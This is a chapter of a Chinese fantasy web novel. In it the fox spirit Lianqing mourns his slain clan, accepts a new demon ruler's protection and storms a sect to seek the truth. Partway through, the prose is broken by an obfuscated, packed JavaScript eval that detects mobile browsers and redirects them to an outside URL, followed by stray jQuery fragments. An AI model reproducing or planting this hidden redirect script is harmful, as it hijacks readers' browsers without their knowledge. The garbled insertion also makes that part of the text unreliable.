25. 我一定会来

作品:《狐狸精控诉我始乱终弃

    有苏泠。


    他的母亲。


    立碑的日子是十年前……?


    怜青不明白,小心翼翼擦去墓碑上的灰尘,露出的是一个又一个的名字。


    母亲的旁边,是他的父亲的名字,再旁边是阿姐,阿姐旁边是阿姐的红狐狸,旁边还有许许多多的名字,他们都死在同一年,墓碑上都落了一层厚厚的尘灰。


    都是他的亲人。


    大颗大颗的泪珠在墓碑上晕出深深的痕迹,怜青强撑的坚强终于在这一刻分崩离析,他无力的跪倒在墓碑旁边,咬着自己的手臂不让自己发出一丝声音。


    有很多从前不明白的事情迎刃而解。


    怪不得……怪不得从十年前开始,他不再用来归冢祭拜,怪不得阿姐的病从来无须他探望,怪不得……


    可他为何如此愚蠢,为何这么明显的异样从来无知无觉?


    怜青看着自己的双手,几柱香之前,这还是一双养尊处优的手,他从来没有做过什么苦活,一点点小碎石小法术就能让他皮开肉绽。


    狐狸爱美,曾经最引以为傲的姿容,如今只让他无尽悔恨。


    扪心自问,在玄天宗修行的这些年,他呼朋引伴招摇过市,仗着自己天赋异禀灵力磅礴,几乎没怎么正经学过几个法术。


    阿娘阿爹和阿姐是不是很失望。


    是他不思进取,贪图安逸……


    但凡他认真一些,但凡他能够像阿姐一样厉害,他刚才是不是就可以挡下那一击,至少至少,他可以多救一些族人。


    但凡他聪明一点,他是不是就能早早的发现亲人的离世,是不是就能发现那座黑气环绕的雷鸣之地是青丘,而不是等阿瑶告诉他……


    对了,阿瑶……


    怜青苦笑一声,眼泪落满了脸颊。


    他苦中作乐作乐地想,还好没有把阿瑶带来,至少至少,她是安全的。


    至于其他的,他还能期待吗……


    轰——


    结界之外,新一轮的攻击开始了,怜青能够感觉到结界灵力的波动,声音越来越大,像一声一声的丧钟敲在他心上。


    结界碎裂的声音在耳边炸开,就快要撑不住了。


    怜青抬起头看着眼前一排又一排的墓碑,静静地深深地望着,良久,他撩起衣摆跪下,认认真真叩拜三下。


    他深吸了一口气,起身拔起插在地上的剑。


    结界上面已经出现了深深的网状裂痕,从里面亦能够隐隐约约看见外面的模样。


    怜青五指成爪,指尖长出了狐妖锋利如刀的指甲,他把手放在自己的丹田处,慢慢地又坚定地向结界外走去。


    他术法不精,剑术不精,符咒阵法更是几乎一窍不通,空有这自身血脉天赋带来的灵力。


    也幸好,他还有这一身的灵力。


    指尖透穿皮肉,鲜血汩汩涌出,怜青的额前已经冒出了冷汗。


    他没有停下。


    原来,他的手早已冰凉,不然为何血肉如此滚烫?


    这颗近三百年修为的妖丹,他的妖丹,就在他自己手下。只要他能近那个黑影的身,只要碎了这颗妖丹,应该……就能结束了吧。


    怜青在结界之前停住,回头看了一眼自己的族人。天色黑了下来,白叔在忙前忙后安排着伤员年纪小的狐狸受了惊吓早已睡着,蜷缩成一团一只一只聚在一起。


    结界越来越透明,他看到月亮了。


    外面除了黑气的攻击声似乎还有什么别的呼啸着的声音,怜青已经听不清了,失血让他的耳边充斥着嗡鸣,剧痛侵袭着他的神经,身体在麻木。


    月光照清了黑气中那个人的身型。


    就是现在。


    怜青拼尽全力一跃,同时,手上用力一攥。


    夜幕中,仿佛时间都变慢了,只看见一道巨大的绿色灵力孤注一掷般冲向那永夜一样黑暗的雾气。


    “不好!檀箫快救他!”


    怜青只感觉手臂一痛,紧接着天旋地转浑身剧痛,他被什么东西猛一撞摔在地上,喷出一大口血。


    而后又被重锤两记,打得咳嗽不止,低头一看,腹部的窟窿竟然迅速开始愈合。


    “檀箫你轻点啊,他没死也要被你拍死了。”


    “啧,疗伤符。”


    “这鬼东西的傀儡已经被辛瑶劈伤了,你我协力应该能暂时压住,先救这些狐狸,其他的再说。”


    “行,来了。”


    一个清脆,一个低沉,两道陌生的声音。怜青的双眼被血浸得一片模糊,看不清眼前的人,她们是谁,她们口中的辛……尧?这又是谁。


    耳边是呼啸的风和灵力。


    半晌,一个新的结界在归冢之上撑起,身上那巨大的威压骤然一松,怜青整个人几乎瘫倒。


    “喂,没事了,你撑不住就晕吧。”有人在他面前蹲下来,是一个身型魁梧的女子,那人给他送了一些灵力,怜青妖丹上烧灼的疼痛总算缓解一些。


    “那个,实在是不好意思,我们一族其实接到求援就出发了,但是……”她有些尴尬地指了指身后那群同样魁梧的男男女女,“但是我们实在是不太会游泳,平时也没备御空孚水的法器……”


    “用缩地术或者瞬移术运这么多人的话,灵力耗尽,来了也白来了。”那个魁梧的女子半天说不清,另一个遍接过话替她解释,“我看到这边有异样,赶过来时看到她们一整个族群在海里游,这才唤百鬼抬轿赶紧全给抬过来了,谁知道一来就看到你这小鬼竟然想自爆妖……”


    怜青一直沉默着,直到确定了她们真的没有恶意才低低开口:“……你们是谁?”


    “哦,我啊,幽冥鬼主堕音,鬼族二君之一。她是檀箫,新继任的白虎妖族之君,也是……”


    “我是新任的妖君。”


    “……”


    “……妖君?”怜青轻声重复着这个词。


    妖君任命需要神谕,他的母亲是妖君,他的阿姐才是接下了神谕的下一任妖君。


    怜青拼着一口气,冲上去用剑抵着檀箫的脖子,下一秒就被檀箫打飞出去。


    他仿佛不知痛,爬起来想要再上前,堕音使了个小法术把他定在地上。


    “有苏怜青,前任妖君有苏泠和继任妖君有苏静已经死在十年前了,神谕赐给了白虎一族,现在檀箫是新任的妖君了。”


    “……你说谎,我明明不久之前才见过阿娘。”


    怜青的眼里满是泪水,或许已经猜到了什么,但是没有办法去面对。


    “总之,有苏静死了,有苏泠魂灭于擅造傀儡的天罚。”


    傀儡身……天罚……


    怜青愣在原地,仿佛一瞬被人抽走了魂魄。


    其实这十年间许许多多的诡异之事,并非无迹可寻。


    如果他能细想一下,为什么阿娘没有制止他说什么成仙的蠢话,为什么没有没有拦着他去玄天宗。


    是他太蠢。


    六族君位承袭全凭神谕,白虎族檀箫继任妖君他无处可怨。


    眼泪砸进焦土,怜青打开了归冢结界。


    “请……妖君,恕有苏怜青适才冒犯之失。”怜青没有抬头,眼泪一颗一颗落尽,没有发出一丝哽咽的声音。


    妖君之名,多么熟悉的称呼,他从前也会玩笑一般这样唤着母亲和姐姐。


    转眼天翻地覆。


    怜青跪得端正,额头抵着粗糙的沙砾。


    “有苏怜青之错,任凭处置,但青丘子民无辜。是我无能,青丘三千妖众如今……仅余一百二十三。”


    “青丘有苏氏,愿向坤山檀氏俯首,求君上庇护青丘老幼。”


    “好。”


    听见檀箫答应的声音,她身后的虎族族人动了,开始陆陆续续接过归冢出来的受伤狐狸。


    “十年前我虎族内乱,我无力继任妖君,妖族若没有有苏妖君必将大乱,我亦感念。”


    “我会派一路人镇守青丘出入之地,但是至多五十年,五十年内我可以保证不会有任何人来犯,但是妖族始终是弱肉强食……”


    “多谢……妖君。”


    怜青沉默起身,结界之外,那个叫做堕音的鬼君已经与那黑沉沉的雾气再次开战了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17063804|193177||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    结界之内,一只又一只小狐狸被带出来,安置。


    他似乎,什么忙也帮不上。


    那个雾气里的人,依旧是净尘仙尊的模样……玄天宗、净尘仙尊……


    他想起了离开青丘之前,阿娘最后对他说的话。


    那雾气是什么东西,十年前到底发生了什么……


    怜青狠狠闭上眼,擦干了嘴角的血。


    ——————


    “阿瑶……”


    “怎么了?”阿瑶睁开惺忪的双眼,就看见狐狸一身狼狈地趴在她的床前,她心下了然却只是摸了摸他的头发。


    “没什么,是不是打扰你睡觉了?”


    阿瑶小声说没有,没有看他的眼睛,轻拥他一下,感受着他因为惊惧和伤势而变得滚烫的皮肤:“怜青,不要死了。”


    “……好。”


    “怜青,没有家人……其实也没什么大不了的。”


    “……好。”怜青知道她是在安慰他,低头时一滴泪坠落。他贴着阿瑶冰冷的皮肤替自己降温,替自己平复,迷糊时的阿瑶很好说话,任人贴着完全不会拒绝。


    可他不能贪恋了。


    “阿瑶,这些给你。”怜青从玉牌里一件一件往外拿,全部都是他有的防御法器,他学艺不精,布不了什么高级的阵法护她,只能给她这些,这已经是他的全部了:“你……千万不要出这个房门好吗,我留了十几日的吃食,放进了你的贝壳项链里。”


    “阿瑶,千万不要离开竹屋……”


    “怜青,活着。”


    “……好,我一定回来。”


    ——————


    “快别睡了!有人敲山门钟!”


    “这都多晚了,谁啊!?”玄天宗守山弟子们一下子都醒了。


    “看着不认识,但是有我们宗门的令牌,哎呀赶紧的那人一身的血,待会死在山门边怎么办?!”


    几人提着灯,匆匆忙忙在山门结界处打开一个小口,正要上前去探那人鼻息,却只见眼前白光一闪,转眼就没了知觉。


    怜青撑住剑,擦了擦唇角溢出的血,跨过地上这些晕倒的弟子朝结界走去。


    他的脸色惨白,身型摇摇欲坠。看着这庄重威势的山门,他早已没了初入山门时的向往与雀跃,那人究竟是不是净尘又有什么区别?


    若真的是净尘仙尊,那覆灭青丘屠戮妖族便是他的手笔,可若不是,那青丘蒙难,那些满口仁义道德的仙族又去了何处。


    惩奸除恶……他竟然真的信了,他当初竟然真的向往过成仙,想过成仙让他人高看妖族。可笑,当真是可笑。


    宗门里一片寂静,各大长老仙君都在自己的洞府,怜青找不到。刑罚堂的鸣冤鼓在主峰,距离山门亦有迢迢数里。


    他的妖丹受损,灵力几乎耗尽,已经无法御空。


    他过不去了。


    可他要见净尘,他要一个真相,等不到什么明天了,现在就要。


    所以怜青举剑的时候,没有一丝的怜悯。


    他们在小河镇的山里意欲杀他灭口的时候,何曾想过对他手下留情?


    嚓——


    剑光一晃,外门寝舍里还穿着寝衣的弟子捂着耳朵从床上弹起,鲜血从指缝涌出,尖叫声划破夜空。


    “你!苏怜青你竟然敢偷袭我,你竟然……竟然还活着!”


    那人怒目圆睁,但是畏惧怜青一身的血和伤,竟一时不敢提剑反抗。


    怜青不过缓了一口气,又提剑向他们斩去。被砍的弟子回过神来,也起了气性,伸手唤出灵剑就要还击时,突然被人拦下。


    “你没看出来他不管不顾的吗?你若是出手伤人了,到时候内门弟子遴选岂不是白费。”


    “可我们之前……”


    “难道全凭他一面之词吗?我这就去请刑法堂的长老,你拖住他。”


    他二人说话声轻,却完全不避讳怜青,他听得一清二楚。


    他已经不生气了,跟其他事情比起来,这些都算不得什么,他去了刑法堂就好,去了就好……


    他就在这里等着……